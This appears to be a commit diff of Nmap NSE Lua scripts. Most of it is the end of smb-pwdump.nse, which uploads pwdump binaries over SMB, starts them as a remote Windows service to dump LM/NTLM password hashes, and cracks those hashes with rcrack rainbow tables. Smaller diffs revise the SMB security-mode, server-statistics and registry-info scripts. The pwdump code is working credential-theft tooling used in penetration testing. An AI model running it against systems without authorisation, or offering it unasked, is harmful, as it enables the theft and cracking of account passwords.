_, results[i]['ntlm'] = bin.unpack("H16", password_block)
_, results[i]['lm'] = bin.unpack("H16", password_block, 17)
if(results[i]['lm'] == "AAD3B435B51404EEAAD3B435B51404EE") then
results[i]['lm'] = "NO PASSWORD*********************"
end
if(results[i]['ntlm'] == "31D6CFE0D16AE931B73C59D7E0C089C0") then
results[i]['ntlm'] = "NO PASSWORD*********************"
end
else
stdnse.print_debug(1, "Unknown message code from pwdump: %d", code)
end
end
status, close_result = smb.close_file(smbstate)
if(status == false) then
smb.stop(smbstate)
return false, close_result
end
i = i + 1
until(1 == 2)
smb.stop(smbstate)
return true, results
end
-- TODO: Check for OpenSSL
function go(host)
local status, err
local results
local key
local key = ""
local i
-- Start by cleaning up, just in case.
cleanup(host)
-- It seems that, in my tests, if a key contains either a null byte or a negative byte (>= 0x80), errors
-- happen. So, at the cost of generating a weaker key (keeping in mind that it's already sent over the
-- network), we're going to generate a key from printable characters only (we could use 0x01 to 0x1F
-- without error, but eh? Debugging is easier when you can type the key in)
local key_bytes = openssl.rand_bytes(16)
for i = 1, 16, 1 do
key = key .. string.char((string.byte(string.sub(key_bytes, i, i)) % 0x5F) + 0x20)
end
-- Upload the files
status, err = upload_files(host)
if(status == false) then
stdnse.print_debug(1, "Couldn't upload the files: %s", err)
cleanup(host)
return false, string.format("Couldn't upload the files: %s", err)
end
-- Create the service
status, err = msrpc.service_create(host, SERVICE, "c:\\servpw.exe")
if(status == false) then
stdnse.print_debug(1, "Couldn't create the service: %s", err)
cleanup(host)
return false, string.format("Couldn't create the service on the remote machine: %s", err)
end
-- Start the service
status, err = msrpc.service_start(host, SERVICE, {PIPE, key, tostring(string.char(16)), tostring(string.char(0)), "servpw.exe"})
if(status == false) then
stdnse.print_debug(1, "Couldn't start the service: %s", err)
cleanup(host)
return false, string.format("Couldn't start the service on the remote machine: %s", err)
end
-- Read the data
status, results = read_and_decrypt(host, key, PIPE)
if(status == false) then
stdnse.print_debug(1, "Error reading data from remote service")
cleanup(host)
return false, string.format("Failed to read password data from the remote service: %s", err)
end
-- Clean up what we did
cleanup(host)
return true, results
end
---Converts an array of accounts to a pwdump-like representation.
--@param accounts The accounts array. It should have a list of tables, each with 'username', 'lm', and 'ntlm'.
--@param strict If 'strict' is set to true, a true pwdump representation wiill be used; otherwise, a more user friendly one will.
--@return A string in the standard pwdump format.
function accounts_to_pwdump(accounts, strict)
local str = ""
for i=1, #accounts, 1 do
if(accounts[i]['username'] ~= nil) then
if(strict) then
str = str .. string.format("%s:%s:%s:::\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'])
else
if(accounts[i]['password']) then
str = str .. string.format("%s => %s:%s (Password: %s)\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'], accounts[i]['password'])
else
str = str .. string.format("%s => %s:%s\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'])
end
end
end
end
return str
end
---Run the 'rcrack' program and parse the output. This may sound simple, but the output of rcrack clearly
-- wasn't designed to be scriptable, so it's a little difficult. But, it works, at least for 1.2.
function rainbow(accounts, rcrack, rtable)
local pwdump = accounts_to_pwdump(accounts, true)
local pwdump_file = os.tmpname()
local file
local command = rcrack .. " " .. rtable .. " -f " .. pwdump_file
-- Print a warning if 'charset.txt' isn't present
file = io.open("charset.txt", "r")
if(file == nil) then
stdnse.print_debug(1, "WARNING: 'charset.txt' not found in current directory; rcrack may not run properly")
else
io.close(file)
end
-- Create the pwdump file
stdnse.print_debug(1, "Creating the temporary pwdump file (%s)", pwdump_file)
file, err = io.open(pwdump_file, "w")
if(file == nil) then
return false, err
end
file:write(pwdump)
file:close()
-- Start up rcrack
stdnse.print_debug(1, "Starting rcrack (%s)", command)
file, err = io.popen(command, "r")
if(file == nil) then
return false, err
end
for line in file:lines() do
stdnse.print_debug(2, "RCRACK: %s\n", line)
if(string.find(line, "hex:") ~= nil) then
local start_hex1 = 0
local start_hex2 = 0
local hex1, hex2
local ascii1, ascii2
local password
local i
-- First, find the last place in the string that starts with "hex:"
repeat
local _, pos = string.find(line, " hex:", start_hex1)
if(pos ~= nil) then
start_hex1 = pos + 1
end
until pos == nil
-- Get the first part of the hex
if(string.sub(line, start_hex1, start_hex1 + 9) == "<notfound>") then
-- If it wasn't found, then set it as such and go to after the "not found" part
ascii1 = "<notfound>"
start_hex2 = start_hex1 + 10
else
-- If it was found, convert to ascii
ascii1 = bin.pack("H", string.sub(line, start_hex1, start_hex1 + 13))
start_hex2 = start_hex1 + 14
end
-- Get the second part of the hex
if(string.sub(line, start_hex2) == "") then
ascii2 = ""
elseif(string.sub(line, start_hex2, start_hex2 + 9) == "<notfound>") then
-- It wasn't found
ascii2 = "<notfound>"
else
-- It was found, convert to ascii
ascii2 = bin.pack("H", string.sub(line, start_hex2, start_hex2 + 13))
end
-- Join the two halves of the password together
password = ascii1 .. ascii2
-- Figure out the username (it's the part that is followed by a bunch of spaces then the password)
i = string.find(line, " +" .. password)
username = string.sub(line, 1, i - 1)
-- Finally, find the username in the account table and add our entry
for i=1, #accounts, 1 do
if(accounts[i]['username'] ~= nil) then
if(string.find(accounts[i]['username'], username .. ":%d+$") ~= nil) then
accounts[i]['password'] = password
end
end
end
end
end
-- Close the process handle
file:close()
-- Remove the pwdump file
os.remove(pwdump_file)
return true, accounts
end
action = function(host)
local status, results
local response = " \n"
local rcrack = "rcrack"
local rtable = nil
-- Check if we have the necessary files
if(nmap.fetchfile(FILE1) == nil or nmap.fetchfile(FILE2) == nil) then
local err = " \n"
err = err .. string.format("Couldn't run smb-pwdump.nse, missing required file(s):\n")
if(nmap.fetchfile(FILE1) == nil) then
err = err .. "- " .. FILE1 .. "\n"
end
if(nmap.fetchfile(FILE2) == nil) then
err = err .. "- " .. FILE2 .. "\n"
end
err = err .. string.format("These are included in pwdump6 version 1.7.2:\n")
err = err .. string.format("<http://foofus.net/fizzgig/pwdump/downloads.htm>")
return err
end
status, results = go(host)
if(status == false) then
return "ERROR: " .. results
end
-- Only try cracking if strict is turned off
if(nmap.registry.args.strict == nil) then
-- Override the rcrack program
if(nmap.registry.args.rcrack ~= nil) then
rcrack = nmap.registry.args.rcrack
end
-- Check if a table was passed
if(nmap.registry.args.rtable ~= nil) then
rtable = nmap.registry.args.rtable
end
-- Check a spelling mistake that I keep making
if(nmap.registry.args.rtables ~= nil) then
rtable = nmap.registry.args.rtables
end
-- Check if we actually got a table
if(rtable ~= nil) then
status, crack_results = rainbow(results, rcrack, rtable)
if(status == false) then
response = "ERROR cracking: " .. crack_results .. "\n"
else
results = crack_results
end
end
response = response .. accounts_to_pwdump(results, false)
else
response = response .. accounts_to_pwdump(results, true)
end
return response
end

View File

@@ -3,31 +3,10 @@ Returns information about the SMB security level determined by SMB.
Here is how to interpret the output:
* User-level authentication: Each user has a separate username/password that is used
to log into the system. This is the default setup of pretty much everything
these days.
* Share-level authentication: The anonymous account should be used to log in, then
the password is given (in plaintext) when a share is accessed. All users who
have access to the share use this password. This was the original way of doing
things, but isn't commonly seen, now. If a server uses share-level security,
it is vulnerable to sniffing.
* Challenge/response passwords supported: If enabled, the server can accept any
type of password (plaintext, LM and NTLM, and LMv2 and NTLMv2). If it isn't set,
the server can only accept plaintext passwords. Most servers are configured to
use challenge/response these days. If a server is configured to accept plaintext
passwords, it is vulnerable to sniffing. LM and NTLM are fairly secure, although
there are some brute-force attacks against them. Additionally, LM and NTLM can
fall victim to man-in-the-middle attacks or relay attacks (see MS08-068 or my
writeup of it: http://www.skullsecurity.org/blog/?p=110).
* Message signing: If required, all messages between the client and server must
be signed by a shared key, derived from the password and the server
challenge. If supported and not required, message signing is negotiated between
clients and servers and used if both support and request it. By default,
Windows clients don't sign messages, so if message signing isn't required by
the server, messages probably won't be signed; additionally, if performing a
man-in-the-middle attack, an attacker can negotiate no message signing. If
message signing isn't required, the server is vulnerable to man-in-the-middle
attacks or SMB-relay attacks.
* User-level authentication: Each user has a separate username/password that is used to log into the system. This is the default setup of pretty much everything these days.
* Share-level authentication: The anonymous account should be used to log in, then the password is given (in plaintext) when a share is accessed. All users who have access to the share use this password. This was the original way of doing things, but isn't commonly seen, now. If a server uses share-level security, it is vulnerable to sniffing.
* Challenge/response passwords supported: If enabled, the server can accept any type of password (plaintext, LM and NTLM, and LMv2 and NTLMv2). If it isn't set, the server can only accept plaintext passwords. Most servers are configured to use challenge/response these days. If a server is configured to accept plaintext passwords, it is vulnerable to sniffing. LM and NTLM are fairly secure, although there are some brute-force attacks against them. Additionally, LM and NTLM can fall victim to man-in-the-middle attacks or relay attacks (see MS08-068 or my writeup of it: <http://www.skullsecurity.org/blog/?p=110>.
* Message signing: If required, all messages between the client and server must be signed by a shared key, derived from the password and the server challenge. If supported and not required, message signing is negotiated between clients and servers and used if both support and request it. By default, Windows clients don't sign messages, so if message signing isn't required by the server, messages probably won't be signed; additionally, if performing a man-in-the-middle attack, an attacker can negotiate no message signing. If message signing isn't required, the server is vulnerable to man-in-the-middle attacks or SMB-relay attacks.
This script will allow you to use the <code>smb*</code> script arguments (to
set the username and password, etc.), but it probably won't ever require them.

View File

@@ -3,7 +3,7 @@ Attempts to grab the server's statistics over SMB and MSRPC, which uses TCP
ports 445 or 139.
An administrator account is required to pull these statistics on most versions
of Windows, and Vista doesn't seem to let even the administrator account pull them.
of Windows, and Vista and above require UAC to be turned down.
Some of the numbers returned here don't feel right to me, but they're definitely
the numbers that Windows returns. Take the values here with a grain of salt.
@@ -44,65 +44,21 @@ end
action = function(host)
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.SRVSVC_PATH)
if(status == false) then
if(nmap.debugging() > 0) then
return "ERROR: " .. smbstate
else
return nil
end
end
-- Bind to SRVSVC service
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
if(status == false) then
smb.stop(smbstate)
if(nmap.debugging() > 0) then
return "ERROR: " .. bind_result
else
return nil
end
end
-- Call netservergetstatistics for 'server'
status, netservergetstatistics_result = msrpc.srvsvc_netservergetstatistics(smbstate, host.ip)
if(status == false) then
smb.stop(smbstate)
if(nmap.debugging() > 0) then
return "ERROR: " .. netservergetstatistics_result
else
return nil
end
end
-- Stop the session
smb.stop(smbstate)
-- Build the response
local stats = netservergetstatistics_result['stat']
local result, stats
local response = " \n"
local period = os.time() - stats['start']
local period_str
-- Fix a couple values
stats['bytessent'] = bit.bor(bit.lshift(stats['bytessent_high'], 32), stats['bytessent_low'])
stats['bytesrcvd'] = bit.bor(bit.lshift(stats['bytesrcvd_high'], 32), stats['bytesrcvd_low'])
result, stats = msrpc.get_server_stats(host)
if(period == 0) then
period = 1
if(result == false) then
if(nmap.debugging() > 0) then
return "ERROR: " .. stats
else
return nil
end
end
if(period > 60 * 60 * 24) then
period_str = string.format("%dd%dh%02dm%02ds", period / (60*60*24), (period % (60*60*24)) / 3600, (period % 3600) / 60, period % 60)
elseif(period > 60 * 60) then
period_str = string.format("%dh%02dm%02ds", period / 3600, (period % 3600) / 60, period % 60)
else
period_str = string.format("%02dm%02ds", period / 60, period % 60)
end
response = response .. string.format("Server statistics collected since %s (%s):\n", os.date("%Y-%m-%d %H:%M:%S", stats['start']), period_str)
response = response .. string.format("|_ Traffic %d bytes (%.2f b/s) sent, %d bytes (%.2f b/s) received\n", stats['bytessent'], stats['bytessent'] / period, stats['bytesrcvd'], stats['bytesrcvd'] / period)
response = response .. string.format("Server statistics collected since %s (%s):\n", stats['start_str'], stats['period_str'])
response = response .. string.format("|_ Traffic %d bytes (%.2f b/s) sent, %d bytes (%.2f b/s) received\n", stats['bytessent'], stats['bytessentpersecond'], stats['bytesrcvd'], stats['bytesrcvdpersecond'])
response = response .. string.format("|_ Failed logins: %d\n", stats['pwerrors'])
response = response .. string.format("|_ Permission errors: %d, System errors: %d\n", stats['permerrors'], stats['syserrors'])
response = response .. string.format("|_ Print jobs spooled: %s\n", stats['jobsqueued'])

View File

@@ -1,20 +1,21 @@
description = [[
Pulls back information about the remote system from the registry. Getting all
of the information requires an administrative account, although a user account
will still get a lot of it. Guest probably won't get any, nor will anonymous.
This goes for all operating systems, including Windows 2000.
Windows Vista doesn't appear to have the WINREG binding (or it's different and
I don't know it), so this doesn't support Vista at all.
Windows Vista disables remote registry access by default, so unless itw as enabled,
this script won't work.
If you know of more information stored in the Windows registry that could be interesting,
post a message to the nmap-dev mailing list and I (Ron Bowes) will add it to my todo list.
Adding new checks to this is extremely easy.
WARNING: I have experienced crashes in regsvc.exe while making registry calls against a fully patched Windows
2000 system; I've fixed the issue that caused it, but there's no guarantee that it (or a similar vuln in the
same code) won't show up again.
WARNING: I have experienced crashes in regsvc.exe while making registry calls
against a fully patched Windows 2000 system; I've fixed the issue that caused it,
but there's no guarantee that it (or a similar vuln in the same code) won't show
up again. Since the process automatically restarts, it doesn't negatively impact
the system, besides showing a message box to the user.
]]
---
@@ -202,6 +203,10 @@ action = function(host)
response = response .. string.format("Hardware\n")
for i = 0, result['number_of_processors'] - 1, 1 do
if(result['status-processornamestring'..i] == false) then
result['status-processornamestring'..i] = "Unknown"
end
response = response .. string.format("|_ CPU %d: %s [%dmhz %s]\n", i, result['processornamestring'..i], result['~mhz'..i], result['vendoridentifier'..i])
response = response .. string.format("|_ Identifier %d: %s\n", i, result['identifier'..i])
end